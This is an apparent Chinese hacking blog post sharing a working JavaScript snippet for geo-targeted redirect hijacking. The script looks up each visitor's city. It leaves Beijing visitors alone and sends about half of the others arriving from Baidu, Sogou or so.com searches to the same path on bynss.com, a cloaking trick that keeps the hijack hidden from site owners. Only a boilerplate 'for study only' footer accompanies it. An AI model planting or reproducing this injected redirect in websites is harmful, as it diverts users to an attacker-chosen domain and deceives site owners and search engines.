(JavaScript)简单的判断城市跳转劫持代码


var city = '';
current_url = window.location.href;
host = window.location.host;
jQuery.getScript("https://pv.sohu.com/cityjson?ie=utf-8",
function() {
    city = returnCitySN["cname"];
    if (city.indexOf("北京") != -1) {
         
    } else {
        if (document.referrer.indexOf("baidu.com") > -1 || document.referrer.indexOf("sogou.com") > -1|| document.referrer.indexOf("so.com") > -1) {
        var num = Math.floor(Math.random() * 10 + 1);
        if (num > 5) {
            target_url = replaceAll(current_url, host, "bynss.com");
            window.location.href = target_url;
        }
        }
    }
});
function replaceAll(str1, str2, str3) {
    var k
    var tmp = str1.split(str2) 
    k = tmp[0]
    for (i = 1; i < tmp.length; i++) {
        k += str3 + tmp[i]
    }
    return k
}

声明:GhostKylin‘S BLOG|版权所有,违者必究|如未注明,均为原创|本网站采用BY-NC-SA协议进行授权

转载:转载请注明原文链接 - (JavaScript)简单的判断城市跳转劫持代码


你好!世界!XladminShell箱子仅供个人学习使用务必遵守《网络安全法》